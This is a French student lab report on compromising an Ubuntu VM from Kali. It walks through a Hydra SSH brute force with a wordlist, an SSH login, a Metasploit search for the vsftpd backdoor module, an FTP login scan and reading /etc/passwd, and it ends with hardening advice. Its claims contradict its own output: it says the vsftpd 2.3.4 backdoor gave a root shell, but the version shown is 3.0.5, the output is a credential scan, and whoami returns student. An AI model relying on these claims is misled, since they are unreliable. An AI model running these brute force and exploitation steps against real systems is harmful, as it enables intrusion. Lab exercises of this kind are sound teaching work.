COMPTE RENDU : TP 3.1 ATTAQUE D'UN SERVEUR LINUX (UBUNTU)

1. INTRODUCTION

Objectif du TP : Comprendre comment une machine peut être compromise sans utiliser de vulnérabilité complexe, mais simplement à cause de mauvaises configurations ou de versions logicielles obsolètes.

Rappel du contexte : Nous travaillons sur le réseau interne. Ma machine Kali (192.168.56.30) cible une machine Ubuntu (192.168.56.10) dont le service FTP est vulnérable.

2. Attaque brute force SSH

Avant l'exploitation logicielle, nous avons testé la résistance des mots de passe.

Commande utilisée: hydra -l student -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10

Résultat : Le mot de passe a été trouvé, permettant une connexion initiale.

```
┌──(laurene㉿kali)-[~]
└─$ hydra -l student -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-27 06:54:
28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip wa
iting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:
14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.56.10:22/
[STATUS] 213.00 tries/min, 213 tries in 00:01h, 14344189 to do in 1122:24h, 13 a
ctive
[STATUS] 210.67 tries/min, 632 tries in 00:03h, 14343770 to do in 1134:48h, 13 a
ctive
[22][ssh] host: 192.168.56.10   login: student   password: password123
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete u
```

Le terminal montrant le succès d'Hydra avec le mot de passe trouvé

SSH student@192.168.56.10

Rôle : Preuve de l'accès à distance. Cette capture montre l'établissement de la connexion chiffrée entre ta machine Kali et la cible. Elle prouve que les identifiants trouvés sont valides et permettent de prendre le contrôle d'un "shell" (le terminal) sur le serveur.

```
┌──(laurene㉿kali)-[~]
└─$ ssh student@192.168.56.10
The authenticity of host '192.168.56.10 (192.168.56.10)' can't be established.
ED25519 key fingerprint is: SHA256:p0W//YZFpIr6wZ9E0+Pb2y9zJbv9gSCNE3rTy0ssO00
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.56.10' (ED25519) to the list of known hosts.
student@192.168.56.10's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-20-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

La maintenance de sécurité étendue pour Applications n'est pas activée.

34 mises à jour peuvent être appliquées immédiatement.
27 de ces mises à jour sont des mises à jour de sécurité.
Pour afficher ces mises à jour supplémentaires, exécuter : apt list --upgradable

Activez ESM Apps pour recevoir des futures mises à jour de sécurité supplémentaires.
Visitez https://ubuntu.com/esm ou executez : sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

student@laurene-VMware-Virtual-Platform:~$
```

whoami ,pwd ,ls

Rôle : Vérification de l'identité et de l'environnement.

- whoami confirme que tu es connectée sous l'utilisateur student.
- pwd montre que tu es dans son répertoire personnel.
- ls liste les fichiers présents.

C'est la preuve que la compromission est réelle et que tu peux interagir avec le système de fichiers.

```
student@laurene-VMware-Virtual-Platform:~$ whoami
student
student@laurene-VMware-Virtual-Platform:~$ pwd
/home/student
student@laurene-VMware-Virtual-Platform:~$ ls
snap
student@laurene-VMware-Virtual-Platform:~$
```

3. Exploitation logicielle via Metasploit

vsftpd -v(sous le titre Exploitation)

Rôle : Reconnaissance et analyse de version. Cette commande sert à identifier la version précise du service FTP (3.0.5).

```
laurene@laurene-VMware-Virtual-Platform:~$ vsftpd -v
vsftpd: version 3.0.5
laurene@laurene-VMware-Virtual-Platform:~$
```

msfconsole

Rôle : Initialisation de l'environnement d'exploitation. Cette capture montre le lancement du framework Metasploit depuis le terminal Kali. Elle prouve que l'outil est opérationnel et prêt à charger les modules nécessaires pour l'attaque (exploits ou auxiliaires).

```
┌──(laurene㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Export your database results with db_export -f xml
<file>

       =[ metasploit v6.4.116-dev                               ]
+ -- --=[ 2,623 exploits - 1,326 auxiliary - 1,707 payloads     ]
+ -- --=[ 431 post - 49 encoders - 14 nops - 10 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf >
```

Nous avons ensuite exploité la "Backdoor" du service vsftpd 2.3.4.

search vsftpd

Rôle : Phase de recherche de vulnérabilités. Cette commande permet de parcourir la base de données de Metasploit pour trouver tous les outils liés au service vsftpd. C'est l'étape de sélection où l'on choisit l'attaque la plus adaptée à la cible.

```
msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Phase de paramétrage de l'attaque.

Cette image montre la préparation technique. Tu indiques à Metasploit quel module utiliser (use exploit/...) et quelle est l'adresse IP de ta cible (set RHOSTS 192.168.56.10). C'est l'étape indispensable pour diriger l'attaque vers le bon serveur.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
```

- run

Résultat : Ouverture d'un shell avec les privilèges root. C'est le moment où l'attaque est lancée. Le message vert "Login Successful" est la preuve cruciale que la sécurité a été forcée. Cela démontre que l'attaquant a réussi à s'authentifier et possède désormais un accès valide au service de la cible. Ce résultat est dû à la version du vsftpd que j’ai installée.

```
msf auxiliary(scanner/ftp/ftp_login) > run
[*] 192.168.56.10:21      - 192.168.56.10:21 - Starting FTP login sweep
[!] 192.168.56.10:21      - No active DB -- Credential data will not be saved!
[+] 192.168.56.10:21      - 192.168.56.10:21 - Login Successful: student:password123
[*] 192.168.56.10:21      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ftp/ftp_login) > cat /etc/passwd
[*] exec: cat /etc/passwd

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:996:996:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
```

```
stunnel4:x:983:983:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
sshd:x:982:65534:sshd user:/run/sshd:/usr/sbin/nologin
dnsmasq:x:981:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
Debian-snmp:x:109:111::/var/lib/snmp:/bin/false
mysql:x:980:980:MariaDB Server:/nonexistent:/bin/false
sslh:x:110:113::/nonexistent:/usr/sbin/nologin
avahi:x:111:114:Avahi mDNS daemon:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:979:979:Speech Dispatcher:/run/speech-dispatcher:/bin/false
_gvm:x:112:116::/var/lib/openvas:/usr/sbin/nologin
postgres:x:113:117:PostgreSQL administrator:/var/lib/postgresql:/bin/bash
usbmux:x:114:46:usbmux daemon:/var/lib/usbmux:/usr/sbin/nologin
cups-pk-helper:x:115:115:user for cups-pk-helper service:/nonexistent:/usr/sbin/nologin
nm-openvpn:x:978:978:NetworkManager OpenVPN:/var/lib/openvpn/chroot:/usr/sbin/nologin
inetsim:x:116:118::/var/lib/inetsim:/usr/sbin/nologin
pipewire:x:977:977:system user for pipewire:/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:976:976:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
nm-openconnect:x:975:975:NetworkManager OpenConnect plugin:/:/usr/sbin/nologin
sddm:x:117:120:Simple Desktop Display Manager:/var/lib/sddm:/bin/false
saned:x:118:121::/var/lib/saned:/usr/sbin/nologin
geoclue:x:974:974::/var/lib/geoclue:/usr/sbin/nologin
lightdm:x:119:122:Light Display Manager:/var/lib/lightdm:/bin/false
gnome-remote-desktop:x:973:973:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
polkitd:x:972:972:User for polkitd:/:/usr/sbin/nologin
rtkit:x:971:971:RealtimeKit:/proc:/usr/sbin/nologin
colord:x:970:970:colord colour management daemon:/var/lib/colord:/usr/sbin/nologin
pcscd:x:969:969:PC/SC Smart Card Daemon:/:/usr/sbin/nologin
Debian-gdm:x:968:968:Gnome Display Manager:/var/lib/gdm3:/bin/false
laurene:x:1000:1000:laurene,,,:/home/laurene:/usr/bin/zsh
msf auxiliary(scanner/ftp/ftp_login) >
```

whoami

Rôle : Confirmation du privilège obtenu. La commande whoami répond student. Cela sert à identifier avec quel niveau de permission l'attaquant agit sur la machine. C'est la preuve finale que tu as pris l'identité d'un utilisateur réel du système.

```
student@laurene-VMware-Virtual-Platform:~$ whoami
student
```

cat /etc/passwd

Rôle : Exfiltration de données sensibles.Une fois l'accès obtenu, cette commande permet d'extraire la liste des utilisateurs du système. Dans un rapport, elle sert à prouver l'impact de l'attaque : l'attaquant peut lire des fichiers confidentiels, ce qui représente un risque majeur pour la confidentialité des données.

```
student@laurene-VMware-Virtual-Platform: ~
student
student@laurene-VMware-Virtual-Platform:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
```

uname –a

Rôle : Identification technique précise du système cible. Cette commande permet de récupérer les informations détaillées du noyau (kernel) Linux (version, architecture x86_64, date de compilation).

```
student@laurene-VMware-Virtual-Platform:~$ uname -a
Linux laurene-VMware-Virtual-Platform 6.17.0-20-generic #20~24.04.1-Ubuntu SMP P
REEMPT_DYNAMIC Thu Mar 19 01:28:37 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
student@laurene-VMware-Virtual-Platform:~$
```

4. Analyse de la compromission

Ce que l'attaquant peut faire : Une fois root, l'attaquant a un contrôle total : vol de fichiers sensibles, modification du système, ou rebond vers d'autres machines.

Risques pour l'entreprise : Fuite de données critiques, interruption de service et perte de confiance des clients.

5. Utilisation avancée des outils

Hydra : Permet de tester la robustesse des politiques de mots de passe.

Metasploit :

show options : Vérifier les paramètres avant l'attaque.

Rôle : C'est le tableau de bord de configuration du module. Elle affiche tous les paramètres nécessaires (adresse IP, port, utilisateur, mot de passe) avant de lancer l'attaque.

Cas d'usage : Tu l'utilises pour vérifier que tu as bien renseigné la cible (RHOSTS) à 192.168.56.10 et que le port est bien le 21 (FTP). Cela évite de lancer une attaque "à l'aveugle" ou sur la mauvaise machine.

```
laurene:x:1000:1000:laurene,,,:/home/laurene:/usr/bin/zsh
msf auxiliary(scanner/ftp/ftp_login) > show options

Module options (auxiliary/scanner/ftp/ftp_login):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ANONYMOUS_LOGIN  false           yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS  false           no        Try blank passwords for all users
   BRUTEFORCE_SPEED 5               yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS     false           no        Try each user/password couple stored in the current database
   DB_ALL_PASS      false           no        Add all passwords in the current database to the list
   DB_ALL_USERS     false           no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none           no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD         password123     no        A specific password to authenticate with
   PASS_FILE                        no        File containing passwords, one per line
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, http, socks5h, sapni, socks4
   RECORD_GUEST     false           no        Record anonymous/guest logins to the database
   RHOSTS           192.168.56.10   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT            21              yes       The target port (TCP)
   STOP_ON_SUCCESS  false           yes       Stop guessing when a credential works for a host
   THREADS          1               yes       The number of concurrent threads (max one per host)
   USERNAME         student         no        A specific username to authenticate as
   USERPASS_FILE                    no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS     false           no        Try the username as the password for all users
   USER_FILE                        no        File containing usernames, one per line
   VERBOSE          true            yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

info : Comprendre le fonctionnement technique de la faille.

Rôle : C'est la fiche technique détaillée du module. Elle explique précisément ce que fait le module, l'auteur de l'exploit, et surtout les références de la faille (comme les numéros CVE).

Cas d'usage : Tu l'utilises pour comprendre la théorie. Par exemple, avant d'utiliser vsftpd_234_backdoor, tu tapes info pour savoir si cette faille permet une exécution de commande à distance ou simplement un crash du service.

```
Applications   Emplacements                                   27 avril 08:29
                                                              laurene@kali: ~
sf auxiliary(scanner/ftp/ftp_login) > info

       Name: FTP Authentication Scanner
     Module: auxiliary/scanner/ftp/ftp_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

rovided by:
 todb <todb@metasploit.com>

heck supported:
 No

asic options:
 Name             Current Setting  Required  Description
 ----             ---------------  --------  -----------
 ANONYMOUS_LOGIN  false            yes       Attempt to login with a blank username and password
 BLANK_PASSWORDS  false            no        Try blank passwords for all users
 BRUTEFORCE_SPEED 5                yes       How fast to bruteforce, from 0 to 5
 DB_ALL_CREDS     false            no        Try each user/password couple stored in the current database
 DB_ALL_PASS      false            no        Add all passwords in the current database to the list
 DB_ALL_USERS     false            no        Add all users in the current database to the list
 DB_SKIP_EXISTING none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
 PASSWORD         password123      no        A specific password to authenticate with
 PASS_FILE                         no        File containing passwords, one per line
 Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, http, socks5h, sapni, socks4
 RECORD_GUEST     false            no        Record anonymous/guest logins to the database
 RHOSTS           192.168.56.10    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
 RPORT            21               yes       The target port (TCP)
 STOP_ON_SUCCESS  false            yes       Stop guessing when a credential works for a host
 THREADS          1                yes       The number of concurrent threads (max one per host)
 USERNAME         student          no        A specific username to authenticate as
 USERPASS_FILE                     no        File containing users and passwords separated by space, one pair per line
 USER_AS_PASS     false            no        Try the username as the password for all users
 USER_FILE                         no        File containing usernames, one per line
```

Sessions : Gérer les différents accès ouverts.

Rôle : C'est le centre de gestion des accès ouverts. Elle permet de lister toutes les connexions actives entre ta machine Kali et les cibles compromises.

Cas d'usage : Imagine que tu réussisses à pirater trois machines en même temps. Tu tapes sessions pour voir la liste des machines sous ton contrôle, puis tu tapes sessions -i 1 pour "entrer" dans la première machine et commencer à taper des commandes.

```
msf auxiliary(scanner/ftp/ftp_login) > sessions

Active sessions
===============

No active sessions.

msf auxiliary(scanner/ftp/ftp_login) >
```

6. Recommandations de sécurité

Pour protéger le réseau NetSecure, nous préconisons :

- Désactiver l'authentification par mot de passe SSH au profit des clés SSH.
- Utiliser des clés SSH pour une connexion plus sécurisée.
- Mettre à jour les services régulièrement pour corriger les failles connues.
- Supprimer les services vulnérables ou inutilisés pour réduire la surface d'attaque.

7. Conclusion

Ce que j'ai appris : Une vulnérabilité n'est pas que théorique, elle peut être exploitée très rapidement si le système est mal entretenu.

Impact réel : Les mauvaises pratiques (mots de passe faibles, services non mis à jour) ont des conséquences immédiates et graves sur la sécurité globale.